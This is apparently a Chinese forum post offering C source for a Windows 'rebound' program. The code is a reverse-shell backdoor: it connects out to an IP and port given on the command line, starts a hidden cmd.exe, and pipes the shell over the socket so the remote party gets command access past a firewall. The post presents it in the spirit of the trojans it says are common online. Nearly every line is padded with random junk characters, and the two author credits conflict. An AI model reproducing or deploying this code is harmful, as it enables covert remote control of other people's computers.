这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b W`)CWd
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/* ============================== 123-i,epg
Rebound port in Windows NT PdE)m/
By wind,2006/7 dzk?Zg
===============================*/ 'p{Y{
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#include E!oJ0*@
#include C$EFh4
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#pragma comment(lib,"wsock32.lib") 8?]%Qi
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void OutputShell(); _cnrGi}T
SOCKET sClient; ZS
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; YpbdScz
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void main(int argc,char **argv) &Funao>
{ Vo58Nz:%
WSADATA stWsaData; K;(|v3g6
int nRet; p%i
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SOCKADDR_IN stSaiClient,stSaiServer; )l/C_WEK
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if(argc != 3) 2oNPR+
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{ &~f*q?xR
printf("Useage:\n\rRebound DestIP DestPort\n"); gP"Mu#/D
return; ABS
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} T<_1|eH
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WSAStartup(MAKEWORD(2,2),&stWsaData); Yc( )'6
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FnU{C= P
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); ^9m^#"ZW`
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [pyXX>:M
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Q-3J0=
{ }F9?*2\/
printf("Bind Socket Failed!\n"); f+(w(~O
return; 5la]l
} ~S<F
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stSaiServer.sin_family = AF_INET; .LVOaxT
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); & m ";D
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `5aypJf1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \6PIw-)
{ g\mrRZ/?
printf("Connect Error!"); E`LIENm
return; 1=cfk#
} & ;x1Rx
OutputShell(); &|,qsDK(
} wBaFC\CW
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void OutputShell() 4pHPf<6
{ k?*DBXJv
char szBuff[1024]; =u1w\>( 2Y
SECURITY_ATTRIBUTES stSecurityAttributes; ri_6wbPp
OSVERSIONINFO stOsversionInfo; `oI/;&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~+NFWNgN
STARTUPINFO stStartupInfo; \|4MU"ri
char *szShell; J}` $WL:
PROCESS_INFORMATION stProcessInformation; Q $,kB<M
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); EYj2h
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g 0_r
stSecurityAttributes.lpSecurityDescriptor = 0; 2nz'/G
stSecurityAttributes.bInheritHandle = TRUE; Gt*<?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); At_Y$N:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a5g{.:NfO
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?^A:~" ~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,lG wW8$R
stStartupInfo.wShowWindow = SW_HIDE; ?;kc%Rz
stStartupInfo.hStdInput = hReadPipe; %>}7$Y%
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >]N0w
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GetVersionEx(&stOsversionInfo); r}M4()9L
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switch(stOsversionInfo.dwPlatformId) KQI} 5
{ PL2Q!i`[o
case 1: OX`GN#yl
szShell = "command.com"; @G-k]IWi
break; xRZT
default: RJm8K,3#
szShell = "cmd.exe"; -2~yc2:>A
break; ]cY'6'}Hz
} ,,-3p#Pbw
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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send(sClient,szMsg,77,0); 'F<e )D?
while(1) @g5]w&o_
{ 2\W<EWJ@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m9i%U
if(lBytesRead) R$3+ 01j|
{ x \{jWR%
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); PH=8'GN
send(sClient,szBuff,lBytesRead,0); #j5^/*XW
} 5?Ao9Q]@
else AxQ/
{ yodrX&"
lBytesRead=recv(sClient,szBuff,1024,0); OnJSu
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if(lBytesRead<=0) break; 5~6y.S
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9Qd'=JQl
} O&RHCR-\
} ;a77YLTQ
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return; jWCC`0
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}